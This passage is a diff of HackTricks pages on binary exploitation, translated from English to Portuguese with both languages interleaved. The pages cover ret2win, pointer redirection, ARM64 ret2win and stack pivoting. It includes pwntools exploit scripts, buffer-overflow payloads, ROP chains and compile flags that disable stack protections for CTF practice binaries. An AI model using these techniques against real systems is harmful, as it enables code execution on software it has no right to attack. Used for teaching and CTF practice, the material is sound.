print(f"The offset is: {offset}")
```
or **GEF**:
ou **GEF**:
```bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## Explorando Stack Overflows
## Exploiting Stack Overflows
Durante um overflow (supondo que o tamanho do overflow seja grande o suficiente) você poderá **sobrescrever** valores de variáveis locais dentro da pilha até alcançar o **EBP/RBP e EIP/RIP salvos (ou até mais)**.\
A maneira mais comum de abusar desse tipo de vulnerabilidade é **modificando o endereço de retorno** para que, quando a função terminar, o **fluxo de controle seja redirecionado para onde o usuário especificou** neste ponteiro.
During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\
The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer.
However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges).
No entanto, em outros cenários, apenas **sobrescrever alguns valores de variáveis na pilha** pode ser suficiente para a exploração (como em desafios CTF fáceis).
### Ret2win
In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called:
Neste tipo de desafios CTF, há uma **função** **dentro** do binário que **nunca é chamada** e que **você precisa chamar para vencer**. Para esses desafios, você só precisa encontrar o **offset para sobrescrever o endereço de retorno** e **encontrar o endereço da função** a ser chamada (geralmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/) estaria desativado) para que, quando a função vulnerável retornar, a função oculta seja chamada:
{{#ref}}
ret2win/
@ -71,15 +65,15 @@ ret2win/
### Stack Shellcode
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
Neste cenário, o atacante poderia colocar um shellcode na pilha e abusar do EIP/RIP controlado para pular para o shellcode e executar código arbitrário:
{{#ref}}
stack-shellcode/
{{#endref}}
### ROP & Ret2... techniques
### Técnicas ROP & Ret2...
This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:
Esta técnica é a estrutura fundamental para contornar a principal proteção da técnica anterior: **Pilha não executável (NX)**. E permite realizar várias outras técnicas (ret2lib, ret2syscall...) que acabarão executando comandos arbitrários ao abusar de instruções existentes no binário:
{{#ref}}
../rop-return-oriented-programing/
@ -87,15 +81,15 @@ This technique is the fundamental framework to bypass the main protection to the
## Heap Overflows
An overflow is not always going to be in the stack, it could also be in the **heap** for example:
Um overflow nem sempre ocorrerá na pilha, ele também pode ocorrer no **heap**, por exemplo:
{{#ref}}
../libc-heap/heap-overflow.md
{{#endref}}
## Types of protections
## Tipos de proteções
There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
Existem várias proteções tentando prevenir a exploração de vulnerabilidades, confira-as em:
{{#ref}}
../common-binary-protections-and-bypasses/

View File

@ -1,28 +1,28 @@
# Pointer Redirecting
# Redirecionamento de Ponteiros
{{#include ../../banners/hacktricks-training.md}}
## String pointers
## Ponteiros de String
If a function call is going to use an address of a string that is located in the stack, it's possible to abuse the buffer overflow to **overwrite this address** and put an **address to a different string** inside the binary.
Se uma chamada de função for usar um endereço de uma string que está localizada na pilha, é possível abusar do buffer overflow para **sobrescrever este endereço** e colocar um **endereço de uma string diferente** dentro do binário.
If for example a **`system`** function call is going to **use the address of a string to execute a command**, an attacker could place the **address of a different string in the stack**, **`export PATH=.:$PATH`** and create in the current directory an **script with the name of the first letter of the new string** as this will be executed by the binary.
Se, por exemplo, uma chamada de função **`system`** for **usar o endereço de uma string para executar um comando**, um atacante poderia colocar o **endereço de uma string diferente na pilha**, **`export PATH=.:$PATH`** e criar no diretório atual um **script com o nome da primeira letra da nova string**, pois isso será executado pelo binário.
You can find an **example** of this in:
Você pode encontrar um **exemplo** disso em:
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
- [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html)
- 32bit, change address to flags string in the stack so it's printed by `puts`
- 32bit, mudar o endereço para a string de flags na pilha para que seja impressa por `puts`
## Function pointers
## Ponteiros de Função
Same as string pointer but applying to functions, if the **stack contains the address of a function** that will be called, it's possible to **change it** (e.g. to call **`system`**).
Mesma coisa que ponteiro de string, mas aplicando a funções, se a **pilha contém o endereço de uma função** que será chamada, é possível **mudá-lo** (por exemplo, para chamar **`system`**).
You can find an example in:
Você pode encontrar um exemplo em:
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
## References
## Referências
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)

View File

@ -2,49 +2,44 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples:
**Ret2win** desafios são uma categoria popular em competições de **Capture The Flag (CTF)**, particularmente em tarefas que envolvem **binary exploitation**. O objetivo é explorar uma vulnerabilidade em um binário dado para executar uma função específica, não invocada, dentro do binário, frequentemente nomeada algo como `win`, `flag`, etc. Esta função, quando executada, geralmente imprime uma flag ou uma mensagem de sucesso. O desafio normalmente envolve sobrescrever o **endereço de retorno** na pilha para desviar o fluxo de execução para a função desejada. Aqui está uma explicação mais detalhada com exemplos:
### C Example
Consider a simple C program with a vulnerability and a `win` function that we intend to call:
### Exemplo em C
Considere um programa simples em C com uma vulnerabilidade e uma função `win` que pretendemos chamar:
```c
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
To compile this program without stack protections and with **ASLR** disabled, you can use the following command:
Para compilar este programa sem proteções de pilha e com **ASLR** desativado, você pode usar o seguinte comando:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-m32`: Compile o programa como um binário de 32 bits (isso é opcional, mas comum em desafios CTF).
- `-fno-stack-protector`: Desativar proteções contra estouros de pilha.
- `-z execstack`: Permitir a execução de código na pilha.
- `-no-pie`: Desativar Executável Independente de Posição para garantir que o endereço da função `win` não mude.
- `-o vulnerable`: Nomear o arquivo de saída como `vulnerable`.
- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges).
- `-fno-stack-protector`: Disable protections against stack overflows.
- `-z execstack`: Allow execution of code on the stack.
- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change.
- `-o vulnerable`: Name the output file `vulnerable`.
### Python Exploit using Pwntools
For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function.
### Exploit em Python usando Pwntools
Para o exploit, usaremos **pwntools**, um poderoso framework CTF para escrever exploits. O script do exploit criará um payload para transbordar o buffer e sobrescrever o endereço de retorno com o endereço da função `win`.
```python
from pwn import *
@ -64,49 +59,46 @@ payload = b'A' * 68 + win_addr
p.sendline(payload)
p.interactive()
```
To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use:
Para encontrar o endereço da função `win`, você pode usar **gdb**, **objdump** ou qualquer outra ferramenta que permita inspecionar arquivos binários. Por exemplo, com `objdump`, você poderia usar:
```sh
objdump -d vulnerable | grep win
```
Este comando mostrará a montagem da função `win`, incluindo seu endereço inicial.&#x20;
This command will show you the assembly of the `win` function, including its starting address.&#x20;
O script Python envia uma mensagem cuidadosamente elaborada que, quando processada pela `vulnerable_function`, transborda o buffer e sobrescreve o endereço de retorno na pilha com o endereço de `win`. Quando `vulnerable_function` retorna, em vez de retornar para `main` ou sair, ele salta para `win`, e a mensagem é impressa.
The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed.
## Proteções
## Protections
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **deve ser desativado** para que o endereço seja confiável em todas as execuções ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada. Em alguns casos, quando a função que causa o transbordamento é `read` ou similar, você pode fazer uma **Sobrescrita Parcial** de 1 ou 2 bytes para mudar o endereço de retorno para ser a função win. Devido ao funcionamento do ASLR, os últimos três nibbles hexadecimais não são randomizados, então há uma **chance de 1/16** (1 nibble) de obter o endereço de retorno correto.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) também devem ser desativados ou o endereço de retorno EIP comprometido nunca será seguido.
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a **Partial Overwrite** of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a **1/16 chance** (1 nibble) to get the correct return address.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
## Other examples & References
## Outros exemplos & Referências
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
- 32bit, no ASLR
- 32 bits, sem ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
- 64 bits with ASLR, with a leak of the bin address
- 64 bits com ASLR, com um leak do endereço do bin
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64 bits, no ASLR
- 64 bits, sem ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow
- 32 bits, sem ASLR, transbordamento pequeno duplo, primeiro para transbordar a pilha e aumentar o tamanho do segundo transbordamento
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
- 32 bits, relro, sem canário, nx, sem pie, string de formato para sobrescrever o endereço `fflush` com a função win (ret2win)
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
- 32 bits, nx, nada mais, sobrescrita parcial de EIP (1Byte) para chamar a função win
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
- 32 bits, nx, nada mais, sobrescrita parcial de EIP (1Byte) para chamar a função win
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win.
- O programa está apenas validando o último byte de um número para verificar o tamanho da entrada, portanto, é possível adicionar qualquer tamanho desde que o último byte esteja dentro da faixa permitida. Então, a entrada cria um transbordamento de buffer explorado com um ret2win.
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win)
- 64 bits, relro, sem canário, nx, pie. Sobrescrita parcial para chamar a função win (ret2win)
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
- arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions
- arm64, PIE, dá um leak de PIE, a função win é na verdade 2 funções, então gadget ROP que chama 2 funções
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
- ARM64, off-by-one to call a win function
- ARM64, off-by-one para chamar uma função win
## ARM64 Example
## Exemplo ARM64
{{#ref}}
ret2win-arm64.md

View File

@ -2,109 +2,94 @@
{{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in:
Encontre uma introdução ao arm64 em:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code&#x20;
## Código&#x20;
```c
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
Compile without pie and canary:
Compile sem pie e canário:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
## Encontrando o offset
## Finding the offset
### Opção de padrão
### Pattern option
This example was created using [**GEF**](https://github.com/bata24/gef):
Stat gdb with gef, create pattern and use it:
Este exemplo foi criado usando [**GEF**](https://github.com/bata24/gef):
Inicie o gdb com gef, crie um padrão e use-o:
```bash
gdb -q ./ret2win
pattern create 200
run
```
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset:
arm64 tentará retornar ao endereço no registrador x30 (que foi comprometido), podemos usar isso para encontrar o deslocamento do padrão:
```bash
pattern search $x30
```
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
**The offset is 72 (9x48).**
**O deslocamento é 72 (9x48).**
### Stack offset option
Start by getting the stack address where the pc register is stored:
### Opção de deslocamento da pilha
Comece obtendo o endereço da pilha onde o registrador pc está armazenado:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
```
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337:
Agora defina um ponto de interrupção após o `read()` e continue até que o `read()` seja executado e defina um padrão como 13371337:
```
b *vulnerable_function+28
c
```
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
Find where this pattern is stored in memory:
Encontre onde este padrão está armazenado na memória:
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
Então: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
## No PIE
## Sem PIE
### Regular
Get the address of the **`win`** function:
Obtenha o endereço da função **`win`**:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
```
Exploit:
```python
from pwn import *
@ -124,13 +109,11 @@ p.send(payload)
print(p.recvline())
p.close()
```
<figure><img src="../../../images/image (1211).png" alt="" width="375"><figcaption></figcaption></figure>
### Off-by-1
Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`.
Na verdade, isso vai ser mais como um off-by-2 no PC armazenado na pilha. Em vez de sobrescrever todo o endereço de retorno, vamos sobrescrever **apenas os últimos 2 bytes** com `0x06c4`.
```python
from pwn import *
@ -150,22 +133,20 @@ p.send(payload)
print(p.recvline())
p.close()
```
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability.
Você pode encontrar outro exemplo de off-by-one em ARM64 em [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), que é um verdadeiro off-by-**one** em uma vulnerabilidade fictícia.
## With PIE
## Com PIE
> [!TIP]
> Compile the binary **without the `-no-pie` argument**
> Compile o binário **sem o argumento `-no-pie`**
### Off-by-2
Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset:
Sem um leak, não sabemos o endereço exato da função vencedora, mas podemos saber o deslocamento da função em relação ao binário e sabendo que o endereço de retorno que estamos sobrescrevendo já está apontando para um endereço próximo, é possível vazar o deslocamento para a função win (**0x7d4**) neste caso e apenas usar esse deslocamento:
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python
from pwn import *
@ -185,5 +166,4 @@ p.send(payload)
print(p.recvline())
p.close()
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,64 +2,61 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence.
As a reminder, **`leave`** basically means:
Esta técnica explora a capacidade de manipular o **Base Pointer (EBP)** para encadear a execução de várias funções através do uso cuidadoso do registrador EBP e da sequência de instruções **`leave; ret`**.
Como lembrete, **`leave`** basicamente significa:
```
mov ebp, esp
pop ebp
ret
```
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
E como o **EBP está na pilha** antes do EIP, é possível controlá-lo controlando a pilha.
### EBP2Ret
This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing.
Esta técnica é particularmente útil quando você pode **alterar o registrador EBP, mas não tem uma maneira direta de mudar o registrador EIP**. Ela aproveita o comportamento das funções quando terminam de executar.
If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\
Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP.
Se, durante a execução de `fvuln`, você conseguir injetar um **EBP falso** na pilha que aponte para uma área na memória onde o endereço do seu shellcode está localizado (mais 4 bytes para contabilizar a operação `pop`), você pode controlar indiretamente o EIP. Quando `fvuln` retorna, o ESP é definido para esta localização manipulada, e a operação `pop` subsequente diminui o ESP em 4, **fazendo efetivamente com que aponte para um endereço armazenado pelo atacante ali.**\
Note como você **precisa saber 2 endereços**: aquele para onde o ESP vai, onde você precisará escrever o endereço que é apontado pelo ESP.
#### Exploit Construction
#### Construção do Exploit
First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**.
Primeiro, você precisa saber um **endereço onde pode escrever dados / endereços arbitrários**. O ESP apontará aqui e **executará o primeiro `ret`**.
Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use:
Em seguida, você precisa saber o endereço usado pelo `ret` que irá **executar código arbitrário**. Você poderia usar:
- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address.
- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits).
- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute.
- Some [**ROP**](../rop-return-oriented-programing/) chain
- Um endereço válido [**ONE_GADGET**](https://github.com/david942j/one_gadget).
- O endereço de **`system()`** seguido de **4 bytes de lixo** e o endereço de `"/bin/sh"` (x86 bits).
- O endereço de um gadget **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguido do **shellcode** a ser executado.
- Alguma cadeia [**ROP**](../rop-return-oriented-programing/).
Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution.
Lembre-se de que antes de qualquer um desses endereços na parte controlada da memória, deve haver **`4` bytes** por causa da parte **`pop`** da instrução `leave`. Seria possível abusar desses 4B para definir um **segundo EBP falso** e continuar controlando a execução.
#### Off-By-One Exploit
#### Exploit Off-By-One
There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\
Usually it's modified the byte 0x00t o jump as far as possible.
Há uma variante específica dessa técnica conhecida como "Off-By-One Exploit". É usada quando você pode **apenas modificar o byte menos significativo do EBP**. Nesse caso, a localização da memória que armazena o endereço para pular com o **`ret`** deve compartilhar os três primeiros bytes com o EBP, permitindo uma manipulação semelhante com condições mais restritas.\
Normalmente, modifica-se o byte 0x00 para pular o mais longe possível.
Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed.
Além disso, é comum usar um RET sled na pilha e colocar a verdadeira cadeia ROP no final para tornar mais provável que o novo ESP aponte dentro do RET SLED e a cadeia ROP final seja executada.
### **EBP Chaining**
### **Encadeamento de EBP**
Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**.
Portanto, colocando um endereço controlado na entrada `EBP` da pilha e um endereço para `leave; ret` no `EIP`, é possível **mover o `ESP` para o endereço `EBP` controlado da pilha**.
Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this:
Agora, o **`ESP`** está controlado apontando para um endereço desejado e a próxima instrução a ser executada é um `RET`. Para abusar disso, é possível colocar no lugar controlado do ESP isto:
- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction
- **`system()`** -> Called by `ret`
- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin
- **`&("/bin/sh")`**-> Param fro `system`
- **`&(próximo EBP falso)`** -> Carregar o novo EBP por causa do `pop ebp` da instrução `leave`
- **`system()`** -> Chamado pelo `ret`
- **`&(leave;ret)`** -> Chamado após o término do sistema, moverá o ESP para o EBP falso e começará novamente
- **`&("/bin/sh")`**-> Parâmetro para `system`
Basically this way it's possible to chain several fake EBPs to control the flow of the program.
Basicamente, dessa forma é possível encadear vários EBPs falsos para controlar o fluxo do programa.
This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases.
Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page:
Isso é como um [ret2lib](../rop-return-oriented-programing/ret2lib/), mas mais complexo sem benefício aparente, mas pode ser interessante em alguns casos extremos.
Além disso, aqui você tem um [**exemplo de um desafio**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que usa essa técnica com um **leak de pilha** para chamar uma função vencedora. Este é o payload final da página:
```python
from pwn import *
@ -75,34 +72,32 @@ POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
## EBP pode não ser usado
## EBP might not be used
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
This is because the **prologue and epilogue changes** if the binary is optimized.
- **Not optimized:**
Como [**explicado neste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se um binário é compilado com algumas otimizações, o **EBP nunca controla o ESP**, portanto, qualquer exploit que funcione controlando o EBP basicamente falhará porque não tem efeito real.\
Isso ocorre porque as **mudanças de prólogo e epílogo** se o binário estiver otimizado.
- **Não otimizado:**
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
@ -113,9 +108,7 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
- **Optimized:**
- **Otimizado:**
```bash
push %ebx # save ebx
sub $0x100,%esp # increase stack size
@ -126,13 +119,11 @@ add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
## Outras maneiras de controlar RSP
## Other ways to control RSP
### **`pop rsp`** gadget
[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**:
### **Gadget `pop rsp`**
[**Nesta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) você pode encontrar um exemplo usando esta técnica. Para este desafio, era necessário chamar uma função com 2 argumentos específicos, e havia um **gadget `pop rsp`** e há um **leak da pilha**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@ -152,15 +143,15 @@ POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
@ -168,66 +159,63 @@ payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
```
### jmp esp
Check the ret2esp technique here:
Verifique a técnica ret2esp aqui:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## References & Other Examples
## Referências & Outros Exemplos
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- 64 bits, exploração off by one com uma cadeia rop começando com um ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
